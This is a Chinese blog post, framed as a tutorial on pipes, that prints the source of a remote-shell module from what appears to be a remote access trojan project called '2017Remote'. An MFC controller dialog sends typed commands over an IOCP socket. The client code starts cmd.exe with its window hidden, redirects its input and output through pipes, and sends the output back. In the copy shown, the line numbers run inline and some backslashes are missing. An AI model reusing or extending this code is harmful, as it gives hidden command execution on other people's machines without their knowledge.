网上有大量的关于管道的理论文章,在此不再赘述,最近在做一个通信上的项目,正好用到管道-------MFC对话框和CMD之间的通信。
主控端做成成品,做的MFC。
主控端代码
1 // CmdManagerDlg.cpp : 实现文件 2 // 3 4 #include "stdafx.h" 5 #include "2017Remote.h" 6 #include "CmdManagerDlg.h" 7 #include "afxdialogex.h" 8 #include "Common.h" 9 10 // CmdManagerDlg 对话框 11 12 IMPLEMENT_DYNAMIC(CmdManagerDlg, CDialog) 13 14 CmdManagerDlg::CmdManagerDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) 15 : CDialog(IDD_DIALOG_CMD_MANAGER, pParent) 16 { 17 m_IOCPServer = IOCPServer; 18 m_ContextObject = ContextObject; 19 20 m_IconHwnd = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_CMD_MANAGER)); 21 } 22 23 CmdManagerDlg::~CmdManagerDlg() 24 { 25 } 26 27 void CmdManagerDlg::DoDataExchange(CDataExchange* pDX) 28 { 29 CDialog::DoDataExchange(pDX); 30 DDX_Control(pDX, IDC_EDIT_CMD, m_CEdit_Cmd); 31 } 32 33 34 BEGIN_MESSAGE_MAP(CmdManagerDlg, CDialog) 35 ON_WM_CLOSE() 36 ON_WM_CTLCOLOR() 37 ON_WM_SIZE() 38 END_MESSAGE_MAP() 39 40 41 // CmdManagerDlg 消息处理程序 42 43 44 BOOL CmdManagerDlg::OnInitDialog() 45 { 46 CDialog::OnInitDialog(); 47 // TODO: 在此添加额外的初始化 48 SetIcon(m_IconHwnd, FALSE); 49 // If TRUE, the default value, the method sets a large icon. Otherwise, it sets a small icon. 50 CString v1; 51 sockaddr_in ClientAddress; 52 memset(&ClientAddress, 0, sizeof(ClientAddress)); 53 int ClientLength = sizeof(ClientAddress); 54 BOOL bRet = getpeername(m_ContextObject->ClientSocket, (SOCKADDR*)&ClientAddress, &ClientLength); //得到连接的ip 55 v1.Format("IP:%s", bRet != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : ""); 56 SetWindowText(v1);//设置对话框标题 57 m_uReceiveDataLength = 0; 58 m_nCurSel = 0; 59 BYTE bToken = CMD_MANAGER::COMMAND_CMD_CONTINUE; 60 m_IOCPServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); 61 return TRUE; // return TRUE unless you set the focus to a control 62 // 异常: OCX 属性页应返回 FALSE 63 } 64 65 66 void CmdManagerDlg::OnClose() 67 { 68 // TODO: 在此添加消息处理程序代码和/或调用默认值 69 m_ContextObject->DlgID = 0; 70 CancelIo((HANDLE)m_ContextObject->ClientSocket); 71 closesocket(m_ContextObject->ClientSocket); 72 CDialog::OnClose(); 73 } 74 75 76 HBRUSH CmdManagerDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor) 77 { 78 HBRUSH hbr = CDialog::OnCtlColor(pDC, pWnd, nCtlColor); 79 80 // TODO: 在此更改 DC 的任何特性 81 if ((pWnd->GetDlgCtrlID() == IDC_EDIT_CMD) && (nCtlColor == CTLCOLOR_EDIT)) 82 { 83 COLORREF clr = RGB(255, 255, 255); 84 pDC->SetTextColor(clr); //设置白色的文本 85 clr = RGB(0, 0, 0); 86 pDC->SetBkColor(clr); //设置黑色的背景 87 return CreateSolidBrush(clr); //作为约定,返回背景色对应的刷子句柄 88 } 89 else 90 { 91 return CDialog::OnCtlColor(pDC, pWnd, nCtlColor); 92 } 93 // TODO: 如果默认的不是所需画笔,则返回另一个画笔 94 return hbr; 95 } 96 97 VOID CmdManagerDlg::OnReceiveComplete() 98 { 99 if (m_ContextObject == NULL) 100 { 101 return; 102 } 103 ShowData(); 104 m_uReceiveDataLength = m_CEdit_Cmd.GetWindowTextLength(); 105 } 106 107 VOID CmdManagerDlg::ShowData(void) 108 { 109 m_ContextObject->InDeCompressedBuffer.WriteBuffer((LPBYTE)"", 1); //接个 110 111 CString strBuffer = (char*)m_ContextObject->InDeCompressedBuffer.GetBuffer(); //获得所有数据 112 strBuffer.Replace(" ", " "); 113 114 int iLength = m_CEdit_Cmd.GetWindowTextLength();//获得当前窗口的字符个数 115 116 m_CEdit_Cmd.SetSel(m_nCurSel, iLength); //此函数选中[L,R]的区域,相同则呈现条形 117 118 m_CEdit_Cmd.ReplaceSel(strBuffer); //同传递过来的数据替换掉上述位置的字符 119 120 m_nCurSel = m_CEdit_Cmd.GetWindowTextLength(); //重新获得此时光标的位置 121 } 122 123 BOOL CmdManagerDlg::PreTranslateMessage(MSG* pMsg) 124 { 125 // TODO: 在此添加专用代码和/或调用基类 126 if (pMsg->message == WM_KEYDOWN) 127 { 128 // 屏蔽VK_ESCAPE、VK_DELETE 129 if (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_DELETE) 130 return true; 131 //如果是可编辑框的回车键 132 if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_CEdit_Cmd.m_hWnd) 133 { 134 int iLength = m_CEdit_Cmd.GetWindowTextLength(); 135 136 CString strBuffer; 137 m_CEdit_Cmd.GetWindowText(strBuffer); 138 139 strBuffer += " "; 140 141 m_IOCPServer->OnClientPreSending(m_ContextObject, (LPBYTE)strBuffer.GetBuffer() + m_nCurSel, strBuffer.GetLength() - m_nCurSel); 142 } 143 // 限制VK_BACK 消到<=第一次接收到的数据时,就不能消了 144 if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_CEdit_Cmd.m_hWnd) 145 { 146 if (m_CEdit_Cmd.GetWindowTextLength() <= m_uReceiveDataLength) 147 return true; 148 } 149 } 150 return CDialog::PreTranslateMessage(pMsg); 151 } 152 153 VOID CmdManagerDlg::ResizeEdit(void) 154 { 155 if (m_CEdit_Cmd.m_hWnd == NULL) 156 { 157 return; 158 } 159 RECT rectClient; 160 RECT rectEdit; 161 GetClientRect(&rectClient); 162 rectEdit.left = 0; 163 rectEdit.top = 0; 164 rectEdit.right = rectClient.right; 165 rectEdit.bottom = rectClient.bottom; 166 m_CEdit_Cmd.MoveWindow(&rectEdit); 167 } 168 void CmdManagerDlg::OnSize(UINT nType, int cx, int cy) 169 { 170 CDialog::OnSize(nType, cx, cy); 171 172 // TODO: 在此处添加消息处理程序代码 173 ResizeEdit(); 174 }
客户端代码
1 #include "CmdManager.h" 2 #include "Common.h" 3 CmdManager::CmdManager(IOCPClient* ClientObject) :Manager(ClientObject) 4 { 5 SECURITY_ATTRIBUTES sa = { 0 }; 6 sa.nLength = sizeof(sa); 7 sa.lpSecurityDescriptor = NULL; 8 sa.bInheritHandle = TRUE; //重要 9 //cmd可以继承handle 10 m_ReadHandle1 = NULL; //Client 11 m_WriteHandle1 = NULL; //Client 12 m_ReadHandle2 = NULL; //Cmd 13 m_WriteHandle2 = NULL; //Cmd 14 //创建管道 15 if (!CreatePipe(&m_ReadHandle1, &m_WriteHandle2, &sa, 0)) 16 { 17 if (m_ReadHandle1 != NULL) 18 { 19 CloseHandle(m_ReadHandle1); 20 } 21 if (m_WriteHandle2 != NULL) 22 { 23 CloseHandle(m_WriteHandle2); 24 } 25 return; 26 } 27 28 if (!CreatePipe(&m_ReadHandle2, &m_WriteHandle1, &sa, 0)) 29 { 30 if (m_WriteHandle1 != NULL) 31 { 32 CloseHandle(m_WriteHandle1); 33 } 34 if (m_ReadHandle2 != NULL) 35 { 36 CloseHandle(m_ReadHandle2); 37 } 38 return; 39 } 40 41 char szCmdFullPath[MAX_PATH] = { 0 }; 42 GetSystemDirectory(szCmdFullPath, MAX_PATH); 43 //C:windowssystem32 44 strcat(szCmdFullPath, "\cmd.exe"); 45 //C:windowssystem32cmd.exe 46 STARTUPINFO si = { 0 }; 47 // is used with the CreateProcess function to specify main window properties if a new window is created for the new process 48 PROCESS_INFORMATION pi = { 0 }; //CreateProcess 49 50 memset((void *)&si, 0, sizeof(si)); 51 memset((void *)&pi, 0, sizeof(pi)); 52 53 si.cb = sizeof(STARTUPINFO); 54 55 si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; 56 si.hStdInput = m_ReadHandle2; //将管道数据向Cmd赋值 57 si.hStdOutput = si.hStdError = m_WriteHandle2; 58 59 si.wShowWindow = SW_HIDE; //窗口隐藏 60 61 //创建新的进程 62 if (!CreateProcess(szCmdFullPath, NULL, NULL, NULL, TRUE, 63 NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) 64 { 65 CloseHandle(m_ReadHandle1); 66 CloseHandle(m_WriteHandle1); 67 CloseHandle(m_ReadHandle2); 68 CloseHandle(m_WriteHandle2); 69 return; 70 } 71 72 //保存Cmd进程的进程句柄和主线程句柄 73 m_CmdProcessHandle = pi.hProcess; 74 m_CmdThreadHandle = pi.hThread; 75 76 BYTE bToken = CMD_MANAGER::COMMAND_CMD_MANAGER_REPLY; //包含头文件 Common.h 77 m_ClientObject->OnServerSending((char*)&bToken, 1); 78 79 WaitForDialogOpen(); 80 81 m_bStarting = TRUE; 82 m_ThreadHandle = CreateThread(NULL, 0, 83 (LPTHREAD_START_ROUTINE)ReadCallBack, (LPVOID)this, 0, NULL); //Client 读取管道数据 84 } 85 86 CmdManager::~CmdManager() 87 { 88 m_bStarting = FALSE; 89 90 TerminateThread(m_CmdThreadHandle, 0); //结束我们自己创建的Cmd线程 91 TerminateProcess(m_CmdProcessHandle, 0); //结束我们自己创建的Cmd进程 92 93 Sleep(100); 94 95 if (m_ReadHandle1 != NULL) 96 { 97 DisconnectNamedPipe(m_ReadHandle1); 98 CloseHandle(m_ReadHandle1); 99 m_ReadHandle1 = NULL; 100 } 101 if (m_WriteHandle1 != NULL) 102 { 103 DisconnectNamedPipe(m_WriteHandle1); 104 CloseHandle(m_WriteHandle1); 105 m_WriteHandle1 = NULL; 106 } 107 if (m_ReadHandle2 != NULL) 108 { 109 DisconnectNamedPipe(m_ReadHandle2); 110 CloseHandle(m_ReadHandle2); 111 m_ReadHandle2 = NULL; 112 } 113 if (m_WriteHandle2 != NULL) 114 { 115 DisconnectNamedPipe(m_WriteHandle2); 116 CloseHandle(m_WriteHandle2); 117 m_WriteHandle2 = NULL; 118 } 119 } 120 121 DWORD WINAPI CmdManager::ReadCallBack(LPVOID lParam) 122 { 123 CmdManager *Manager = (CmdManager*)lParam; 124 char szBuffer[0x400] = { 0 }; 125 DWORD dwReturn = 0; 126 DWORD dwTotal = 0; 127 while (Manager->m_bStarting) 128 { 129 Sleep(100); 130 //R1是cmd回传的数据 131 while (PeekNamedPipe(Manager->m_ReadHandle1, 132 szBuffer,sizeof(szBuffer),&dwReturn,&dwTotal,NULL)) 133 { 134 if (dwReturn <= 0) 135 { 136 break; 137 } 138 memset(szBuffer, 0, sizeof(szBuffer)); 139 LPBYTE szTotalBuffer = (LPBYTE)LocalAlloc(LPTR, dwTotal); 140 //读取管道数据 141 ReadFile(Manager->m_ReadHandle1, 142 szTotalBuffer, dwTotal, &dwTotal, NULL); 143 144 Manager->m_ClientObject->OnServerSending((char*)szTotalBuffer, dwTotal); 145 LocalFree(szTotalBuffer); 146 } 147 } 148 cout << "ReadPipe线程退出" << endl; 149 return 0; 150 } 151 //在某个部位调用,在这不予显示 152 VOID CmdManager::OnReceive(PBYTE szBuffer, ULONG ulBufferLength) 153 { 154 switch (szBuffer[0]) 155 { 156 case CMD_MANAGER::COMMAND_CMD_CONTINUE: 157 { 158 NotifyDialogIsOpen(); 159 break; 160 } 161 default: 162 unsigned long ulReturnLength = 0; 163 if (WriteFile(m_WriteHandle1, szBuffer, ulBufferLength, &ulReturnLength, NULL)) 164 { 165 //写入管道中 166 } 167 break; 168 } 169 }